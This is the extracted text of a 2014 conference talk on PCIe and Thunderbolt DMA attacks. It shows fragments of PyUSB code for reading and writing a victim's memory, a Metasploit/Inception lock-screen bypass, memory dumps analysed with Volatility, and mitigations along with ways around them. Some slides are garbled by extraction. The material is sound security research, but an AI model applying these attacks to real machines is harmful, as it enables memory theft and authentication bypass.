## **Stupid PCIe Tricks**

#### Joe FitzPatrick Breakpoint 2014



### whoami

- Electrical Engineering education with focus on CS and Infosec
- 8 years doing security research, speed debug, and tool development for CPUs
- Hardware Pen Testing of CPUs
- Security training for functional validators worldwide
- Software Exploitation via Hardware Exploits, AKA SExViaHEx





Joe FitzPatrick @securelyfitz joefitz@securinghardware.com



### If Joe Fitz...

### Joe Sitz

### Disclaimer

This is not academic-caliber research.

Lots of this stuff has been done before.

The difference is that I aim to show that PCIe attacks can be easier and cheaper than previously thought

# What is PCle?

### **PCIe is PCI!**

user@uDuntu: >
user@ubuntu;~\$
user@ubuntu;~^\$ lspci -bnn
00:00.0 Host bridge [0600]: Intel Corporation 82P965/6965 Memory Controller Hub [8086:29a0] (rev 02)
00:01.0 PCI bridge [0604]: Intel Corporation 82G35 Express PCI Express Root Port [8086:2981] (rev 02)
00:03.0 Unassigned class [ff00]: Device [1ab8:4000]
00:05.0 Ethernet controller [0200]: Intel Corporation 82545EM Gigabit Ethernet Controller (Copper) [8086:100f]
00:0a.0 PCI bridge [0604]: Digital Equipment Corporation DECchip 21150 [1011:0022]
00:0e.0 RAM memory [0500]: Red Hat, Inc Virtio memory balloon [1af4:1002]
00:1d.0 USB controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB UHCI #1 [8086:2658] (rev 02)
00:1d.6 USB controller [0c03]: NEC Corporation uPD720200 USB 3.0 Host Controller [1033:0194] (rev 03)
00:1d.7 USB controller [0c03]: Intel Corporation 82801FB/FBM/FR/FW/FRW (ICH6 Family) USB2 EHCI Controller [8086:265c] (rev 02)
00:1e.0 PCI bridge [0604]: Intel Corporation 82801 PCI Bridge [8086:244e] (rev f2)
00:1f.0 ISA bridge [0601]: Intel Corporation 82801HB/HR (ICH8/R) LPC Interface Controller [8086:2810] (rev 02)
00:1f.1 IDE interface [0101]: Intel Corporation 82801BA IDE U100 Controller [8086:244b] (rev 05)
00:1f.2 SATA controller [0106]: Intel Corporation 82801HR/H0/HH (ICH8R/D0/DH) 6 port SATA Controller [AHCI mode] [8086:2821] (rev 02)
00:1f.4 Multimedia audio controller [0401]: Intel Corporation 82801BA/BAM AC'97 Audio Controller [8086:2445] (rev 02)
01:00.0 VGA compatible controller [0300]: Device [1ab8:4005]
user@ubuntu:~^\$

### **PCIe is NOT PCI!**



**STREET** Internet Internetional Content of the Content of Conten REPRESENTED FRANKLER REPRESENT REPRESENTATION ...........

------

Photo by snikerdo http://en.wikipedia.org

Foto tomada por Jorge González http://es.wikipedia.org





# Vitch Switching and Routing



### Layers



Duto

Device ID Status		Vendor ID Command		
BIST	Header Type	Master Latency Timer	Cache Line Size	
		ISS Healsters		
		ss Hegisters		
	Cardbus (	CIS Pointer		
Subsy	Cardbus (	CIS Pointer Subsystem	Vendor ID	
Subsy	Cardbus ( rstem ID Expansion ROI	CIS Pointer Subsystem M Base Address	t Vendor ID	
Subsy	Cardbus ( rstem ID Expansion ROI Reserved	CIS Pointer Subsystem M Base Address	Vendor ID Capabilities Pointe	
Subsy	Cardbus ( rstem ID Expansion ROI Reserved Rese	CIS Pointer Subsystem M Base Address erved	Vendor ID Capabilities Pointe	











# **Routing PCle**

### The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe:

### The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe:

1. route pairs adjacent and equal length

### The Step-By-Step, Complicated, Mandatory, Inflexible Rules of Routing PCIe:

1. route pairs adjacent and equal length

... that's mostly it

### **Routing PCle**

System Board Traces	12 Inches
Add-in Card Traces	3.5 inches
Chip-to-Chip Routes	15 inches

### Follow these rules and your board might work. Break them and it might not.

### **Routing PCIe**

Minimum PCIe:

- 2.5GHz TX
- 2.5GHz RX
- 100MHz Clock (optional)











Cross-section of a USB 3.0 cable. Image courtesy of USB Implementers Forum



















Search the Arduino Website

Home	Buy	Download	Products 🚽	Learning 🚽	Reference	Support 🚽	Blog	LOG IN	SIGN UP
						seppere -			

#### Intel Galileo









51





POC || GTFO 0x05

File Edit View Search Terminal Help root@clanton:~# root@clanton:~# lspci -k 00:00.0 Class 0600: 8086:0958 intel\_qrk\_sb 00:14.0 Class 0805: 8086:08a7 sdhci-pci 00:14.1 Class 0700: 8086:0936 serial 00:14.2 Class 0c03: 8086:0939 00:14.3 Class 0c03: 8086:0939 ehci-pci 00:14.4 Class 0c03: 8086:093a ohci hcd 00:14.5 Class 0700: 8086:0936 serial 00:14.6 Class 0200: 8086:0937 stmmaceth 00:14.7 Class 0200: 8086:0937 00:15.0 Class 0c80: 8086:0935 00:15.1 Class 0c80: 8086:0935 00:15.2 Class 0c80: 8086:0934 00:17.0 Class 0604: 8086:11c3 pcieport 00:17.1 Class 0604: 8086:11c4 pcieport 00:1f.0 Class 0601: 8086:095e lpc\_sch 01:00.0 Class 0300: 10de:11c2 nouveau 01:00.1 Class 0403: 10de:0e0b root@clanton:~#



POC || GTFO 0x05



### A brief history of DMA attacks


Tribble



**Firewire Attacks** 



Product

#### STORE

CaptureGUARD Physical Memory Acquisition Hardware - PCIe Add-on







Video Demo



Slides SysCan '14



**PLX Technologies** 





Buy one

#### Figure 1-1. USB 3380 Block Diagram



#### 8.6.3 PCIOUT Endpoint

PCIOUT is a Bulk endpoint that allows the USB Host to initiate Read and Write Requests to PCI Express Space, using the PCI Master Control Cursor registers. Packets sent to this endpoint consist of the format listed in Table 8-12.

There can be from 0 to 64 Payload DWords, requiring USB packet sizes from 8 to 264 bytes.

Buto Index	Destination Register Bytes				
Byte muex	Register	Bits			
0		[7:0]			
1	PCIMSTCTL register	[15:8]			
2	(USB Controller, offset 100h)	[23:16]			
3		[31:24]			
4		[7:0]			
5	PCIMSTADDR register	[15:8]			
6	(USB Controller, offset 104h)	[23:16]			
7		[31:24]			
8 through 11	-	Payload DW0 (LSB first; to PCIOUT FIFO)			
12 through 15	_	Payload DW1 (LSB first; to PCIOUT FIFO)			
	_	And so forth			

#### Table 8-12. PCIOUT Packet Format

#### Table 5-1. Serial EEPROM Data Format

Location	Value	Description	n		
Oh	5Ah	Validation Signature			
lh	Refer to Table 5-2	Serial EEPROM Format By	rte		
2h	REG_BYTE_COUNT (LSB)	Configuration register Byte	Table 5-1. Serial EEP	ROM Data Format	Description
			Oh	5Ah	Validation Signature
3h	REG BYTE COUNT (MSB)	Configuration register Byte	lh	Refer to Table 5-2	Serial EEPROM Format Byte
511	REG_DTTE_COURT (MDD)	Configuration register byte	2h	REG_BYTE_COUNT (LSB)	Configuration register Byte Count (LSB)
4h	X.	2	3h	REG_BYTE_COUNT (MSB)	Configuration register Byte Count (MSB)
4h	REGADDR (LSB)	1 <sup>st</sup> Configuration Register	4h	REGADDR (LSB)	1st Configuration Register Address (LSB)
4h Sh		r configuration register.	5h	REGADDR (MSB)	1st Configuration Register Address (MSB)
			4h         REGADDR (LSB)         1 <sup>st</sup> Configuration Register Address (LSB)           5h         REGADDR (MSB)         1 <sup>st</sup> Configuration Register Address (MSB)           6h         REGDATA (Byte 0)         1 <sup>st</sup> Configuration Register Data (Byte 0)           7h         REGDATA (Byte 1)         1 <sup>st</sup> Configuration Register Data (Byte 1)           8h         REGDATA (Byte 2)         1 <sup>st</sup> Configuration Register Data (Byte 2)		
Sh	REGADDR (MSB)	1 <sup>st</sup> Configuration Register	7h	REGDATA (Byte 1)	1st Configuration Register Data (Byte 1)
5h	resonable (mob)	r Configuration Register	8h	REGDATA (Byte 2)	1st Configuration Register Data (Byte 2)
			9h	REGDATA (Byte 3)	1st Configuration Register Data (Byte 3)
6h	REGDATA (Byte 0)	1 <sup>st</sup> Configuration Register	Ah	REGADDR (LSB)	2nd Configuration Register Address (LSB)
100000		r configuration register	Bh	REGADDR (MSB)	2nd Configuration Register Address (MSB)
	sector and the data data and the sector of the sector of the	The second secon	Ch	REGDATA (Byte 0)	2nd Configuration Register Data (Byte 0)
7h	REGDATA (Byte 1)	1 <sup>st</sup> Configuration Register	Dh	REGDATA (Byte 1)	2nd Configuration Register Data (Byte 1)
1.1.754	7h REGDATA (Byte 1) 1 <sup>st</sup> Con	r configuration register	Eh	REGDATA (Byte 2)	2nd Configuration Register Data (Byte 2)
1 (11) (11) (11) (11) (11) (11) (11) (1		transporter in a second participant of	Fh	REGDATA (Byte 3)	2nd Configuration Register Data (Byte 3)
8h	REGDATA (Byte 2)	1 <sup>st</sup> Configuration Register	100		
811	(2)(2)	r comgaration reegister.	REG BYTE COUNT + 4	BYTE COUNT (LSB)	8051 Program Memory Byte Count (LSB)
100000		CONTRACT IN THE RECEIPT OF	REG BYTE COUNT + 5	BYTE COUNT (MSB)	8051 Program Memory Byte Count (MSB)
9h	REGDATA (Byte 3)	1 <sup>st</sup> Configuration Register	REG BYTE COUNT + 6	MEM (Byte 0)	First Byte of 8051 Program Memory
1		r comgaration register	REG BY IE COUNT + 7	MEM (Byte 1)	Second Byte of 8051 Program Memory
		and and set of a set of	FFFFh	MEM (Byte n)	Last Byte of 8051 Program Memory
Ab RECADDR (LSB)	200 Can Constinue Desistan	1			

> xxd SLOTSCREAMER.bin 0000000: 5a00 0c00 2310 4970 0000 0000 e414 bc16 Z...#.Ip.....

> xxd SLOTSCREAMER.bin 0000000: 5a00 0c00 2310 4970 0000 0000 e414 bc16 Z...#.Ip.....

> xxd SLOTSCREAMER.bin 0000000: 5a00 0c00 2310 4970 0000 0000 e414 bc16 Z...#.Ip.....

# That's all!

# NSA Playset

#### Site Information

Contributions Project Requirements

Open Problems

#### Passive Radio Interception

TWILIGHTVEGETABLE (GSM) LEVITICUS DRIZZLECHAIR PORCUPINEMASQUERADE (WIFI)

#### Physical Domination SLOTSCREAMER (PCI) ADAPTERNOODLE (USB)

Hardware Implants

BROKENGLASS CHUCKWAGON

TURNIPSCHOOL

CACTUSTUTU TINYALAMO (BT)

RETROREFLECTORS

#### Welcome to the home of the NSA Playset.

In the coming months and beyond, we will release a series of dead simple, easy to use tools to enable the next generation of security researchers. We, the security community have learned a lot in the past couple decades, yet the general public is still ill equipped to deal with real threats that face them every day, and ill informed as to what is possible.

Inspired by the NSA ANT catalog, we hope the NSA Playset will make cutting edge security tools more accessible, easier to understand, and harder to forget. Now you can play along with the NSA!

#### https://en.wikipedia.org/wiki/NSA\_ANT\_catalog

If you feel like you can contribute, please join the discussion here:

https://groups.google.com/forum/#!forum/nsaplayset

#### Check out Mike's HITB2014 talk here:

http://www.nsaplayset.org/ossmann\_hitb2014.pdf

## Hardware



http://www.hwtools.net/PLX.html

# Software



NSAPlayset	
Filters - Q. Find a repository	
TWILIGHTVEGETABLE <sup>©</sup> forked from lokkju/airprobe-hopping Airprobe for frequency hopping GSM channels Updated 2 days ago	C++ ★0 ½
	C ★0 ½
upualeu o uays ago	

tools used in preparing this presentation:

- plx's flashing software
- pyusb + scripts
- inception\_pci
- volatility for memory analysis

# **Attack-side Software**

Quick 'n' dirty PCIe memory read/write with PyUSB while baseAddress<endAddress: print('BBBBI',0xcf,0,0,0x40,baseAddress) print("addr",baseAddress) pciout.write(struct.pack('BBBBBI',0xcf,0,0,0x40 ,baseAddress)) cache+=pciin.read(0x100) baseAddress+=256 return bytes(cache[offset:offset+byteCount])

#### bufferIndex=0

while baseAddress<endAddress: subbuf=readbuf[bufferIndex:bufferIndex+128] print("addr",baseAddress,'subbuf',len(subbuf)) pciout.write(struct.pack('BBBBBI'+'B'\*128,0x4f, 0,0,0x20,baseAddress,\*subbuf)) baseAddress+=128 bufferIndex+=128

# **More attack-side Software**



## **More attack-side Software**

```
# EQUALS:
#
#
   -- Offset 0x00
#
# /\
                 -patchoffset---->[b0 01]
# 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f .. (byte offset)
#
# c6 0f 85 a0 b8 00 00 b8 ab 05 03 ff ef 01 00 00 .. (chunk of memory data)
#
#
#
#
                     -- Chunk 2 at internaloffset 0x05
              -- Some data (ignore, don't match this)
#
#
         -- Chunk 1 at internaloffset 0x00
#
#
#
              -- Entire signature
#
```

# **More attack-side Software**

# **Attacking via PCle**

#### Table 2-2: PCI Express TLP Packet Types

TLP Packet Types	Abbreviated Name		
Memory Read Request	MRd		
Memory Read Request - Locked access	MRdLk		
Memory Write Request	MWr		
IO Read	IORd		
IO Write	IOWr		
Configuration Read (Type 0 and Type 1)	CfgRd0, CfgRd1		
Configuration Write (Type 0 and Type 1)	CfgWr0, CfgWr1		
Message Request without Data	Msg		
Message Request with Data	MsgD		
Completion without Data	Cpl		
Completion with Data	CplD		
Completion without Data - associated with Locked Memory Read Requests	CplLk		
Completion with Data - associated with Locked Memory Read Requests	CplDLk		

## MRd

### Find important values at known locations

#### Take memory dumps for later analysis

### Example:

Dump memory and use Volatility to analyze it

# **Dump Analysis with Volatility**

AppleThunderboltHAL::earlyWake - complete - took 0 milliseconds Thunderbolt Self-Reset Count = 0xedefbe00 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 11 unplug = 0 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 4 unplug = 0 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 12 unplug = 0 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 12 unplug = 0 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 12 unplug = 0 IOThunderboltSwitch<0xfffff8013f40400>(0x1)::listenerCallback - Thunderbolt HPD packet for route = 0x1 port = 12 unplug = 0 [ PCI configuration begin ] [ PCI configuration end, bridges 12, devices 14 ]

## dmesg log of the attack recovered from the memory dump of the victim

# **Dump Analysis with Volatility**

Name	Pid	Uid
kernel_task	0	
.launchd	1	
com.apple.IconSe	36773	
com.apple.hiserv	36755	501
UserEventAgent	11	
kextd	12	
notifyd	14	
securityd	15	
diskarbitrationd	16	
powerd	17	
configd	18	
syslogd	19	
distnoted	21	
opendirectoryd	22	
cfprefsd	24	
authd	32	
coreservicesd	33	
warmd	37	
usbmuxd	38	213
stackshot	41	
SleepServicesD	44	
revisiond	46	

names, pids, and uids for dumped processes

# **Dump Analysis with Volatility**

Volatility Found	ation Volatility Framework 2.3.1
Major Version:	13
Minor Version:	3
Memory Size:	4294967296
Max CPUs:	4
Physical CPUs:	2
Logical CPUs:	4

# extracted machine info

the perfect amount of memory to dump!

## MWr

### Modify values at known locations

### Manipulate code!!!

Example: Use Inception to modify lock screen checking, or drop a metasploit payload!

•	00		☆ carsten — Python					R <sub>M</sub>	
0	Pyt	hon			rut	y			
car: \$ m: [*] [*] (*] (*] (*) (*) (*)	<pre>sten at mbp in sfrpcd -P pass MSGRPC starti MSGRPC backgr sten at mbp in ncept implant =172.16.78.1</pre>	word ng on 0.0. ounding at -i file -1	0.0:55553 2014-09- Windows-	8 (SSL):Msg -01 08:53:0 -7-SP1-x86.	1 12 +0200. vmemm	nsfpw p	bassword	msfop	ots LH
		_ _ _  _  _  _  _	- - - -  -  - - -  -  - - - -	- - -  -  -  - - -  -  -			-1-1 -1 -1 -1 -1 -1 -1 -1-1	-  - -  -  -  -  -	
v.0 Dow	.4.0 (C) Carst nload: http://	en Maartma breaknente	ann-Moe 20 er.org/pro	14 jects/ince	ption	Twitte	er: @brea	knenter	
[7]	Will potentia Warning: This Windows 7 SP1 nor is there want to chang pull request What MSF payl	lly write module cu x86. No c any guarar e this, se on github. oad do you	to file. wrrently o other OSes tee that end me a w	OK? [y/N] only work a s, versions they will wad of cash use? windo	y or arch be suppo in unma	of-of-o itection orted in orked o	concept a ures are in the fu dollar bi	gainst support iture. 1 ills or	ted, If you a

Inception with Metasploit (W7sp1 POC only)

## **IORd/IOWr**

## Only for legacy devices

(legacy means not thoroughly tested recently)

# CfgRd/CfgWr

#### Interact with other PCI devices' config spaces

Yet another separate address space/different means of accessing hardware

# Msg/MsgD

## Messages send things like interrupts and vendordefined configuration

## Many message types are very rarely used

Example: Invisible Things Labs SNB VT-D



# Mitigations

## **Bus Master Enable**

joefitz@linUX31a:~/Documents/pcie/SLOTSCREAMER/inception pci\$ lspci -vv | grep BusMaster Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+

# **Access Control Services**

#### 6.11. Access Control Services (ACS)

ACS defines a set of control points within a PCI Express topology to determine whether a TLP should be routed normally, blocked, or redirected. ACS is applicable to RCs, Switches, and multi-function devices<sup>4</sup>.

ACS provides the following types of access control:

1. ACS Source Validation (V)

2. ACS Translation Blocking (B)

3. ACS P2P Request Redirect (R)

4. ACS P2P Completion Redirect (C)

5. ACS Upstream Forwarding (U)

6. ACS P2P Egress Control (E)

7. ACS Direct Translated P2P (T)

# IOMMU



# **Mitigating the Mitigations**

# **VID:PID**

- Identifies device to the OS
- OS chooses which driver to load
- OS configures ACS, BME, etc...
- OS loads driver

# **Default Drivers**

- Some drivers are 'class' drivers (think USB MSC, etc...)
- Some device specific drivers might be installed by default (OSX)
- Drivers contain bugs
- Think facedancer for PCIE or Thunderbolt
### **Early Boot**

- IOMMU is not configured yet
- Neither is much else
- Wishlist: Volatility support for EFI shell

#### **Option ROM/EFI drivers**

- Some devices have firmware that gets run at early boot
- Some systems block this (but usually for anti-competitive reasons, not security)

#### **Breaking the rules**

- Spoof requesterID for posted transactions
- Well-timed spoofed requesterID for nonposted transactions
- Setting the 'translated request' bit

#### **Misconfigurations**

- Everything is MMIO now memory protections are essential
- Memory protections are not enough need Cfg and IO protections as well - don't forget about them
- Does installing a hypervisor change how your OS uses its IOMMU?

## Putting it all together

#### Thunderbolt





#### Diagram: Apple Thunderbolt Device Driver Programming Guide

#### HALIBUTDUGOUT



#### **Sorry, Previous Speakers**



#### **ALLOYVIPER**

















#### **MITMing**



#### AM I OWNED? PROBABLY NOT



Thunderbolts and Lightning 555 Very, Very Frightening Thanks for the slides, snare & rzn

#### WHAT'S NEXT? NEW TRIX

- Maybe make the kit a little bit smaller
- ▶ Bypass VT-d?
- See if we can do it without imitating a device?
- Full memory capture

### **Bypassing VT-d on Macbooks?**

- VT-d is off at boot/reboot
- Broadcom Ethernet drivers crash the system
- System reboots all the doors are open for a few moments

#### No POC yet (I'll GTFO soon...)

# Can we do it without imitating a device?

- Some PCIe switches have 'transparent' mode
- Some PCIe switches have TLP injection debug features
- Can we build one into a genuine device?
- Can we build one into a cable?

No POC yet here either

#### **Potential enhancements**

- 64-bit DMA (>4gb access!)
- Full control over TLP Header
  - spoofing requester ID
  - testing 'reserved' bits

#### Enough unproven concepts... time to GTFO...

# **Questions?**

- Joe FitzPatrick
  - @securelyfitz
- joefitz@securinghardware.com
- http://www.securinghardware.com